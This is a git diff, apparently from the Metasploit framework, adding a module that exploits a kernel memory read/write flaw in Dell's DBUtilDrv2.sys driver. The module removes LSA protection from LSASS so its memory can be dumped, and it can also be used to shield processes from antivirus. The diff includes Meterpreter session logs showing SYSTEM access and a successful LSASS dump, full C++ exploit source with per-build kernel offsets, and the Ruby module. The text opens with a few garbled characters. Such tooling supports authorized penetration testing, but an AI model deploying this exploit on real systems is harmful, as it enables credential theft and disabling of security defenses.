zFwb#!BgBjWk#tHQow5ybtKS2WY$j_*nZYMJuyVgqgEl gvN7L8m}i({Tzs}hU2N3F;J*FLA)y!vACf 10.0.0.8:47730 ) at 2021-12-07 12:48:57 -0800 + +meterpreter > sysinfo +Computer : BADBLOOD +OS : Windows 10 (10.0 Build 22000). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +meterpreter > getuid +Server username: badblood\albinolobster +meterpreter > getsystem +...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). +meterpreter > ps | grep lsass +Filtering on 'lsass' + +Process List +============ + + PID PPID Name Arch Session User Path + --- ---- ---- ---- ------- ---- ---- + 740 572 lsass.exe x64 0 + +meterpreter > background +[*] Backgrounding session 1... +msf6 exploit(multi/handler) > use post/windows/gather/memory_dump +msf6 post(windows/gather/memory_dump) > options + +Module options (post/windows/gather/memory_dump): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + DUMP_PATH yes File to write memory dump to + DUMP_TYPE standard yes Minidump size (Accepted: standard, full) + PID yes ID of the process to dump memory from + SESSION yes The session to run this module on + +msf6 post(windows/gather/memory_dump) > set SESSION 1 +SESSION => 1 +msf6 post(windows/gather/memory_dump) > set PID 740 +PID => 740 +msf6 post(windows/gather/memory_dump) > set DUMP_PATH C:\\Windows\\Temp\\lsass_dump +DUMP_PATH => C:\Windows\Temp\lsass_dump +msf6 post(windows/gather/memory_dump) > run + +[*] Running module against BADBLOOD +[*] Dumping memory for lsass.exe +[-] Post aborted due to failure: payload-failed: Unable to open process: Access is denied. +[*] Post module execution completed +msf6 post(windows/gather/memory_dump) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > upload /home/albinolobster/drivers/2_7/ C:\\Windows\\Temp +[*] uploading : /home/albinolobster/drivers/2_7/WdfCoInstaller01009.dll -> C:\Windows\Temp\WdfCoInstaller01009.dll +[*] uploaded : /home/albinolobster/drivers/2_7/WdfCoInstaller01009.dll -> C:\Windows\Temp\WdfCoInstaller01009.dll +[*] uploading : /home/albinolobster/drivers/2_7/DBUtilDrv2.cat -> C:\Windows\Temp\DBUtilDrv2.cat +[*] uploaded : /home/albinolobster/drivers/2_7/DBUtilDrv2.cat -> C:\Windows\Temp\DBUtilDrv2.cat +[*] uploading : /home/albinolobster/drivers/2_7/dbutildrv2.inf -> C:\Windows\Temp\dbutildrv2.inf +[*] uploaded : /home/albinolobster/drivers/2_7/dbutildrv2.inf -> C:\Windows\Temp\dbutildrv2.inf +[*] uploading : /home/albinolobster/drivers/2_7/DBUtilDrv2.sys -> C:\Windows\Temp\DBUtilDrv2.sys +[*] uploaded : /home/albinolobster/drivers/2_7/DBUtilDrv2.sys -> C:\Windows\Temp\DBUtilDrv2.sys +meterpreter > background +[*] Backgrounding session 1... +msf6 post(windows/gather/memory_dump) > use post/windows/manage/dell_memory_protect +msf6 post(windows/manage/dell_memory_protect) > options + +Module options (post/windows/manage/dell_memory_protect): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + DRIVER_PATH yes The path containing the driver inf, cat, and sys (and coinstaller) + ENABLE_MEM_PROTECT false yes Enable or disable memory protection + PID yes The targetted process + SESSION yes The session to run this module on + +msf6 post(windows/manage/dell_memory_protect) > set SESSION 1 +SESSION => 1 +msf6 post(windows/manage/dell_memory_protect) > set DRIVER_PATH C:\\Windows\\Temp +DRIVER_PATH => C:\Windows\Temp +msf6 post(windows/manage/dell_memory_protect) > set PID 740 +PID => 740 +msf6 post(windows/manage/dell_memory_protect) > run + +[!] SESSION may not be compatible with this module: +[!] * missing Meterpreter features: stdapi_sys_process_set_term_size +[*] Launching netsh to host the DLL... +[+] Process 692 launched. +[*] Reflectively injecting the DLL into 692... +[+] Exploit finished +[*] Post module execution completed +msf6 post(windows/manage/dell_memory_protect) > use post/windows/gather/memory_dump +msf6 post(windows/gather/memory_dump) > options + +Module options (post/windows/gather/memory_dump): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + DUMP_PATH C:\Windows\Temp\lsass_dump yes File to write memory dump to + DUMP_TYPE standard yes Minidump size (Accepted: standard, full) + PID 740 yes ID of the process to dump memory from + SESSION 1 yes The session to run this module on + +msf6 post(windows/gather/memory_dump) > run + +[*] Running module against BADBLOOD +[*] Dumping memory for lsass.exe +[*] Downloading minidump (4.11 MiB) +[+] Memory dump stored at /home/albinolobster/.msf4/loot/20211207125102_default_172.16.144.11_windows.process._368616.bin +[*] Deleting minidump from disk +[*] Post module execution completed +msf6 post(windows/gather/memory_dump) > +``` + +### Windows 10 Build 19044.1348 x64 using DBUtilDrv2 version 2.5 + +``` +[*] Started reverse TCP handler on 10.0.0.9:1270 +[*] Meterpreter session 1 opened (10.0.0.9:1270 -> 10.0.0.8:39523 ) at 2021-12-08 07:18:27 -0800 + +meterpreter > sysinfo +Computer : DESKTOP-JCD6JN8 +OS : Windows 10 (10.0 Build 19044). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +meterpreter > getuid +Server username: DESKTOP-JCD6JN8\albinolobster +meterpreter > getsystem +...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). +meterpreter > ps | grep lsass +Filtering on 'lsass' + +Process List +============ + + PID PPID Name Arch Session User Path + --- ---- ---- ---- ------- ---- ---- + 732 568 lsass.exe x64 0 + +meterpreter > background +[*] Backgrounding session 1... +msf6 exploit(multi/handler) > use post/windows/gather/memory_dump +msf6 post(windows/gather/memory_dump) > set SESSION 1 +SESSION => 1 +msf6 post(windows/gather/memory_dump) > set PID 732 +PID => 732 +msf6 post(windows/gather/memory_dump) > set DUMP_PATH C:\\Windows\\Temp\\lsass_dump +DUMP_PATH => C:\Windows\Temp\lsass_dump +msf6 post(windows/gather/memory_dump) > run + +[*] Running module against DESKTOP-JCD6JN8 +[*] Dumping memory for lsass.exe +[-] Post aborted due to failure: payload-failed: Unable to open process: Access is denied. +[*] Post module execution completed +msf6 post(windows/gather/memory_dump) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > upload /home/albinolobster/drivers/2_5/ C:\\Windows\\Temp\\ +[*] uploading : /home/albinolobster/drivers/2_5/DBUtilDrv2.cat -> C:\Windows\Temp\\DBUtilDrv2.cat +[*] uploaded : /home/albinolobster/drivers/2_5/DBUtilDrv2.cat -> C:\Windows\Temp\\DBUtilDrv2.cat +[*] uploading : /home/albinolobster/drivers/2_5/dbutildrv2.inf -> C:\Windows\Temp\\dbutildrv2.inf +[*] uploaded : /home/albinolobster/drivers/2_5/dbutildrv2.inf -> C:\Windows\Temp\\dbutildrv2.inf +[*] uploading : /home/albinolobster/drivers/2_5/DBUtilDrv2.sys -> C:\Windows\Temp\\DBUtilDrv2.sys +[*] uploaded : /home/albinolobster/drivers/2_5/DBUtilDrv2.sys -> C:\Windows\Temp\\DBUtilDrv2.sys +meterpreter > background +[*] Backgrounding session 1... +msf6 post(windows/gather/memory_dump) > use post/windows/manage/dell_memory_protect +msf6 post(windows/manage/dell_memory_protect) > set SESSION 1 +SESSION => 1 +msf6 post(windows/manage/dell_memory_protect) > set DRIVER_PATH C:\\Windows\\Temp\\ +DRIVER_PATH => C:\Windows\Temp\ +msf6 post(windows/manage/dell_memory_protect) > set PID 732 +PID => 732 +msf6 post(windows/manage/dell_memory_protect) > run + +[!] SESSION may not be compatible with this module: +[!] * missing Meterpreter features: stdapi_sys_process_set_term_size +[*] Launching netsh to host the DLL... +[+] Process 3508 launched. +[*] Reflectively injecting the DLL into 3508... +[+] Exploit finished +[*] Post module execution completed +msf6 post(windows/manage/dell_memory_protect) > use post/windows/gather/memory_dump +msf6 post(windows/gather/memory_dump) > run + +[*] Running module against DESKTOP-JCD6JN8 +[*] Dumping memory for lsass.exe +[*] Downloading minidump (5.93 MiB) +[+] Memory dump stored at /home/albinolobster/.msf4/loot/20211208072121_default_172.16.144.6_windows.process._495675.bin +[*] Deleting minidump from disk +[*] Post module execution completed +msf6 post(windows/gather/memory_dump) > +``` diff --git a/external/source/exploits/dell_memory_protect/dell_memory_protect.sln b/external/source/exploits/dell_memory_protect/dell_memory_protect.sln new file mode 100644 index 0000000000..91741b9d7f --- /dev/null +++ b/external/source/exploits/dell_memory_protect/dell_memory_protect.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.31729.503 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "dell_memory_protect", "dell_memory_protect.vcxproj", "{CC53270F-26E1-42AB-8D05-7C02523C36C8}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {CC53270F-26E1-42AB-8D05-7C02523C36C8}.Debug|x64.ActiveCfg = Debug|x64 + {CC53270F-26E1-42AB-8D05-7C02523C36C8}.Debug|x64.Build.0 = Debug|x64 + {CC53270F-26E1-42AB-8D05-7C02523C36C8}.Debug|x86.ActiveCfg = Debug|Win32 + {CC53270F-26E1-42AB-8D05-7C02523C36C8}.Debug|x86.Build.0 = Debug|Win32 + {CC53270F-26E1-42AB-8D05-7C02523C36C8}.Release|x64.ActiveCfg = Release|x64 + {CC53270F-26E1-42AB-8D05-7C02523C36C8}.Release|x64.Build.0 = Release|x64 + {CC53270F-26E1-42AB-8D05-7C02523C36C8}.Release|x86.ActiveCfg = Release|Win32 + {CC53270F-26E1-42AB-8D05-7C02523C36C8}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {11000D1F-3B53-4C22-9360-1FF689730F68} + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/dell_memory_protect/dell_memory_protect.vcxproj b/external/source/exploits/dell_memory_protect/dell_memory_protect.vcxproj new file mode 100644 index 0000000000..600da66e19 --- /dev/null +++ b/external/source/exploits/dell_memory_protect/dell_memory_protect.vcxproj @@ -0,0 +1,165 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {cc53270f-26e1-42ab-8d05-7c02523c36c8} + dellprotect + 10.0 + dell_memory_protect + + + + DynamicLibrary + true + v142 + Unicode + + + DynamicLibrary + false + v142 + true + Unicode + + + DynamicLibrary + true + v142 + Unicode + + + DynamicLibrary + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp17 + ..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\include\windows\;%(AdditionalIncludeDirectories) + MultiThreadedDebug + + + Console + true + Setupapi.lib;Newdev.lib;%(AdditionalDependencies) + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp17 + ..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\include\windows\;%(AdditionalIncludeDirectories) + MultiThreaded + + + Console + true + true + true + Setupapi.lib;Newdev.lib;%(AdditionalDependencies) + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp17 + ..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\include\windows\;%(AdditionalIncludeDirectories) + MultiThreadedDebug + + + Console + true + Setupapi.lib;Newdev.lib;%(AdditionalDependencies) + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp17 + ..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\include\windows\;%(AdditionalIncludeDirectories) + MultiThreaded + + + Console + true + true + true + Setupapi.lib;Newdev.lib;%(AdditionalDependencies) + + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/dell_memory_protect/dllmain.cpp b/external/source/exploits/dell_memory_protect/dllmain.cpp new file mode 100644 index 0000000000..34944776cf --- /dev/null +++ b/external/source/exploits/dell_memory_protect/dllmain.cpp @@ -0,0 +1,32 @@ +#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN +#include "ReflectiveLoader.c" + +int exploit(const char* params); + +int main(const char* params) { + return exploit(params); +} + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) +{ + switch (dwReason) + { + case DLL_QUERY_HMODULE: + hAppInstance = hinstDLL; + if (lpReserved != NULL) + { + *(HMODULE*)lpReserved = hAppInstance; + } + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + main((const char*)lpReserved); + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return TRUE; +} diff --git a/external/source/exploits/dell_memory_protect/exploit.cpp b/external/source/exploits/dell_memory_protect/exploit.cpp new file mode 100644 index 0000000000..3642fec7f7 --- /dev/null +++ b/external/source/exploits/dell_memory_protect/exploit.cpp @@ -0,0 +1,354 @@ +#include +#include +#include +#include +#include +#include + +#include "common.h" + +namespace +{ + const std::string s_driverHandle("\\\\.\\DBUtil_2_5"); + + const uint32_t s_write_ioctl = 0x9b0c1ec8; + const uint32_t s_read_ioctl = 0x9b0c1ec4; + + struct Offsets + { + uint64_t UniqueProcessIdOffset; + uint64_t ActiveProcessLinksOffset; + uint64_t SignatureLevelOffset; + }; + + uint64_t readPrimitive(HANDLE p_device, uint64_t p_address) + { + uint64_t read_data[4] = { 0, p_address, 0, 0 }; + uint64_t response[4] = { }; + DWORD dwBytesReturned = 0; + DeviceIoControl(p_device, s_read_ioctl, &read_data, sizeof(read_data), &response, sizeof(response), &dwBytesReturned, 0); + return response[3]; + } + + void writePrimitive(HANDLE p_device, uint64_t p_address, uint64_t p_data) + { + uint64_t write_data[4] = { 0, p_address, 0, p_data }; + uint64_t response[4] = { }; + DWORD bytesReturned = 0; + DeviceIoControl(p_device, s_write_ioctl, &write_data, sizeof(write_data), &response, sizeof(response), &bytesReturned, 0); + } + + bool getDeviceHandle(HANDLE& p_handle) + { + p_handle = CreateFileA(s_driverHandle.c_str(), GENERIC_WRITE | GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0); + if (INVALID_HANDLE_VALUE == p_handle) + { + dprintf("[!] Failed to get a handle to %s: %u", s_driverHandle.c_str(), GetLastError()); + return false; + } + return true; + } + + uint64_t getKernelBaseAddr() + { + DWORD out = 0; + DWORD nb = 0; + uint64_t return_value = 0; + if (EnumDeviceDrivers(NULL, 0, &nb)) + { + PVOID* base = (PVOID*)malloc(nb); + if (base != NULL && EnumDeviceDrivers(base, nb, &out)) + { + return_value = (uint64_t)base[0]; + } + + free(base); + base = NULL; + } + return return_value; + } + + uint64_t getPsInitialSystemProcessAddress(HANDLE p_device) + { + const auto NtoskrnlBaseAddress = getKernelBaseAddr(); + dprintf("[+] Ntoskrnl base address: %llx", NtoskrnlBaseAddress); + + // Locating PsInitialSystemProcess address + HMODULE Ntoskrnl = LoadLibraryA("ntoskrnl.exe"); + if (Ntoskrnl == NULL) + { + return false; + } + + uint64_t PsInitialSystemProcessOffset = (uint64_t)(GetProcAddress(Ntoskrnl, "PsInitialSystemProcess")) - (uint64_t)(Ntoskrnl); + FreeLibrary(Ntoskrnl); + + return readPrimitive(p_device, NtoskrnlBaseAddress + PsInitialSystemProcessOffset); + } + + uint64_t getTargetProcessAddress(HANDLE p_device, Offsets p_offsets, uint64_t p_psInitialSystemProcessAddress, uint64_t p_targetPID) + { + // Find our process in active process list + uint64_t head = p_psInitialSystemProcessAddress + p_offsets.ActiveProcessLinksOffset; + uint64_t current = head; + + do + { + uint64_t processAddress = current - p_offsets.ActiveProcessLinksOffset; + uint64_t uniqueProcessId = readPrimitive(p_device, processAddress + p_offsets.UniqueProcessIdOffset); + if (uniqueProcessId == p_targetPID) + { + return current - p_offsets.ActiveProcessLinksOffset; + } + current = readPrimitive(p_device, processAddress + p_offsets.ActiveProcessLinksOffset); + } while (current != head); + + // oh no + return 0; + } + + bool changeProcessProtection(uint64_t targetPID, Offsets offsets, bool p_protect) + { + HANDLE Device = INVALID_HANDLE_VALUE; + if (!getDeviceHandle(Device)) + { + return false; + } + + uint64_t PsInitialSystemProcessAddress = getPsInitialSystemProcessAddress(Device); + if (PsInitialSystemProcessAddress == 0) + { + dprintf("[-] Failed to resolve PsInitilaSystemProcess"); + CloseHandle(Device); + return false; + } + + uint64_t targetProcessAddress = getTargetProcessAddress(Device, offsets, PsInitialSystemProcessAddress, targetPID); + if (targetProcessAddress == 0) + { + dprintf("[-] Failed to find the target process"); + CloseHandle(Device); + return false; + } + + // read in the current protection bits, mask them out, and write it back + uint64_t flags = readPrimitive(Device, targetProcessAddress + offsets.SignatureLevelOffset); + dprintf("[+] Current SignatureLevel, SectionSignatureLevel, Type, Audit, and Signer bits (plus 5 bytes): %llx", flags); + flags = (flags & 0xffffffffff000000); + + if (p_protect) + { + // wintcb / protected + flags = (flags | 0x623f3f); + } + + dprintf("[+] Writing flags back as: %llx", flags); + writePrimitive(Device, targetProcessAddress + offsets.SignatureLevelOffset, flags); + + CloseHandle(Device); + return true; + } + + bool getVersionOffsets(Offsets& p_offsets) + { + HMODULE hNtdll = GetModuleHandleA("ntdll"); + if (hNtdll == NULL) + { + return false; + } + + typedef void(__stdcall* fRtlGetNtVersionNumbers)(DWORD* MajorVersion, DWORD* MinorVersion, DWORD* BuildNumber); + fRtlGetNtVersionNumbers RtlGetNtVersionNumbers = (fRtlGetNtVersionNumbers)GetProcAddress(hNtdll, "RtlGetNtVersionNumbers"); + if (RtlGetNtVersionNumbers == NULL) + { + return false; + } + + /* get the version to determine the necessary eprocess offsets */ + DWORD dwMajor, dwMinor, dwBuild; + RtlGetNtVersionNumbers(&dwMajor, &dwMinor, &dwBuild); + dwBuild = LOWORD(dwBuild); + + if (dwMajor != 10 && dwMinor != 0) + { + return false; + } + + switch (dwBuild) + { + case 10240: // Gold + p_offsets.UniqueProcessIdOffset = 0x02e8; + p_offsets.ActiveProcessLinksOffset = 0x02f0; + p_offsets.SignatureLevelOffset = 0x06a8; + return true; + case 10586: // 2015 update + p_offsets.UniqueProcessIdOffset = 0x02e8; + p_offsets.ActiveProcessLinksOffset = 0x02f0; + p_offsets.SignatureLevelOffset = 0x06b0; + return true; + case 14393: // 2016 update + p_offsets.UniqueProcessIdOffset = 0x02e8; + p_offsets.ActiveProcessLinksOffset = 0x02f0; + p_offsets.SignatureLevelOffset = 0x06c8; + return true; + case 15063: // April 2017 update + case 16299: // Fall 2017 update + case 17134: // April 2018 update + case 17763: // October 2018 update + p_offsets.UniqueProcessIdOffset = 0x02e0; + p_offsets.ActiveProcessLinksOffset = 0x02e8; + p_offsets.SignatureLevelOffset = 0x06c8; + return true; + case 18362: // May 2019 update + case 18363: // November 2019 update + p_offsets.UniqueProcessIdOffset = 0x02e8; + p_offsets.ActiveProcessLinksOffset = 0x02f0; + p_offsets.SignatureLevelOffset = 0x06f8; + return true; + case 19041: // May 2020 update + case 19042: // October 2020 update + case 19043: // May 2021 update + case 19044: // October 2021 update + case 22000: // Win 11 June/September 2021 + p_offsets.UniqueProcessIdOffset = 0x0440; + p_offsets.ActiveProcessLinksOffset = 0x0448; + p_offsets.SignatureLevelOffset = 0x0878; + return true; + default: + return false; + } + + return false; + } + + bool driver2Setup(HDEVINFO& p_devInfo, SP_DEVINFO_DATA& p_deviceInfoData, const char* p_infPath) + { + GUID guid = {}; + char classname[255] = { }; + if (!SetupDiGetINFClassA(p_infPath, &guid, &(classname[0]), sizeof(classname), NULL)) + { + dprintf("[-] SetupDiGetINFClassA failed: %u", GetLastError()); + return false; + } + + p_devInfo = SetupDiCreateDeviceInfoList(&guid, NULL); + if (INVALID_HANDLE_VALUE == p_devInfo) + { + dprintf("[-] SetupDiCreateDeviceInfoList failed: %u", GetLastError()); + return false; + } + + p_deviceInfoData.cbSize = sizeof(SP_DEVINFO_DATA); + if (!SetupDiCreateDeviceInfoA(p_devInfo, classname, &guid, NULL, NULL, 1, &p_deviceInfoData)) + { + dprintf("[-] SetupDiCreateDeviceInfoList failed: %u", GetLastError()); + return false; + } + + char prop_buff[] = "ROOT\\DBUtilDrv2\x00"; + if (!SetupDiSetDeviceRegistryPropertyA(p_devInfo, &p_deviceInfoData, 1, (BYTE*)&prop_buff[0], sizeof(prop_buff))) + { + dprintf("[-] SetupDiSetDeviceRegistryPropertyA failed: %u", GetLastError()); + return false; + } + + if (!SetupDiCallClassInstaller(0x19, p_devInfo, &p_deviceInfoData)) + { + dprintf("[-] SetupDiCallClassInstaller failed: %u", GetLastError()); + return false; + } + + BOOL restart = 0; + if (!UpdateDriverForPlugAndPlayDevicesA(NULL, prop_buff, p_infPath, INSTALLFLAG_FORCE | INSTALLFLAG_NONINTERACTIVE, &restart)) + { + dprintf("[-] UpdateDriverForPlugAndPlayDevicesA failed: %u", GetLastError()); + return false; + } + + dprintf("[+] Driver installed!"); + return true; + } + + void driver2Remove(HDEVINFO& p_devInfo, SP_DEVINFO_DATA& p_deviceInfoData) + { + if (p_devInfo != INVALID_HANDLE_VALUE) + { + dprintf("[+] Removing device"); + SetupDiRemoveDevice(p_devInfo, &p_deviceInfoData); + p_devInfo = INVALID_HANDLE_VALUE; + } + } + + bool parse_params(std::string p_params, std::string& p_path_str, uint64_t& p_pid, bool& p_enable) + { + std::string pid; + std::string enable; + std::stringstream stream(p_params); + std::getline(stream, p_path_str, ','); + std::getline(stream, pid, ','); + std::getline(stream, enable, ','); + if (p_path_str.empty() || pid.empty() || enable.empty()) + { + return false; + } + + try + { + p_pid = stoll(pid); + } + catch (const std::exception&) + { + return false; + } + + if (enable.size() != 1) + { + return false; + } + + p_enable = (enable == "1"); + return true; + } +} + +int exploit(const char* params) +{ + if (params == NULL) + { + dprintf("[!] No params passed to the module."); + return EXIT_FAILURE; + } + + std::string path_str; + uint64_t pid; + bool enable; + if (!parse_params(params, path_str, pid, enable)) + { + return EXIT_FAILURE; + } + + path_str.append("\\dbutildrv2.inf"); + if (std::filesystem::exists(path_str) == false) + { + dprintf("[!] Could not find the driver's inf file in the provided directory"); + return EXIT_FAILURE; + } + + Offsets offsets = { 0, 0, 0 }; + if (!getVersionOffsets(offsets)) + { + return EXIT_FAILURE; + } + + HDEVINFO devInfo = NULL; + SP_DEVINFO_DATA deviceInfoData = { }; + if (!driver2Setup(devInfo, deviceInfoData, path_str.c_str())) + { + return EXIT_FAILURE; + } + + changeProcessProtection(pid, offsets, enable); + driver2Remove(devInfo, deviceInfoData); + + return EXIT_SUCCESS; +} diff --git a/modules/post/windows/manage/dell_memory_protect.rb b/modules/post/windows/manage/dell_memory_protect.rb new file mode 100644 index 0000000000..76c43bb1be --- /dev/null +++ b/modules/post/windows/manage/dell_memory_protect.rb @@ -0,0 +1,101 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Post + Rank = ManualRanking + + include Msf::Exploit::Local::WindowsKernel + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process + include Msf::Post::Windows::ReflectiveDLLInjection + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Dell DBUtilDrv2.sys Memory Protection Modifier', + 'Description' => %q{ + The Dell DBUtilDrv2.sys drivers version 2.5 and 2.7 have a write-what-where condition + that allows an attacker to read and write arbitrary kernel-mode memory. This module + installs the provided driver, enables or disables LSA protection on the provided + PID, and then removes the driver. This would allow, for example, dumping LSASS memory + even when secureboot is enabled or preventing antivirus from accessing the memory of + a chosen PID. + + The affected drivers are not distributed with Metasploit. You will truly need to + Bring Your Own (Dell) Driver. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'SentinelLabs', # Vulnerability discovery in original Dell driver (dbutil_2_3.sys) + 'Kasif Dekel', # (from SentinelLabs) blog with detailed analysis + 'Red Cursor', # Authors of PPLKiller + 'Jacob Baines' # first reference of incomplete patch, poc, & metasploit module + ], + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'References' => [ + # TODO: R7 blog + [ 'URL', 'https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection'], + [ 'URL', 'https://itm4n.github.io/lsass-runasppl/'], + [ 'URL', 'https://labs.sentinelone.com/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws/' ], + [ 'URL', 'https://attackerkb.com/assessments/12d7b263-3684-4442-812e-dc30b93def93'], + [ 'URL', 'https://github.com/RedCursorSecurityConsulting/PPLKiller'], + [ 'URL', 'https://github.com/jbaines-r7/dellicious' ] + ], + 'Notes' => { + 'Reliability' => [ ], + 'Stability' => [ CRASH_OS_RESTARTS ], + 'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ] + } + ) + ) + register_options([ + OptString.new('DRIVER_PATH', [true, 'The path containing the driver inf, cat, and sys (and coinstaller)', '']), + OptString.new('PID', [true, 'The targetted process', '']), + OptBool.new('ENABLE_MEM_PROTECT', [true, 'Enable or disable memory protection', 'false']) + ]) + end + + def target_compatible? + sysinfo_value = sysinfo['OS'] + build_num = sysinfo_value.match(/Build (\d+)/)[1].to_i + vprint_status("Windows Build Number = #{build_num}") + + return true if sysinfo_value =~ /Windows 10/ && (build_num >= 10240 && build_num <= 22000) + + false + end + + def run + unless is_system? + fail_with(Failure::None, 'Elevated session is required') + end + + # check that the target is a compatible version of Windows (since the offsets are hardcoded) before loading the RDLL + unless target_compatible? + fail_with(Failure::NoTarget, 'The exploit does not support this target') + end + + if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86 + fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') + end + + unless datastore['DRIVER_PATH'].include? '\\' + fail_with(Failure::BadConfig, "The driver path must be a file path. User provided: #{datastore['DRIVER_PATH']}") + end + + params = datastore['DRIVER_PATH'] + params += ',' + params += datastore['PID'] + params += ',' + params += (datastore['ENABLE_MEM_PROTECT'] ? '1' : '0') + + execute_dll(::File.join(Msf::Config.data_directory, 'exploits', 'dell_protect', 'dell_protect.x64.dll'), params) + + print_good('Exploit finished') + end +end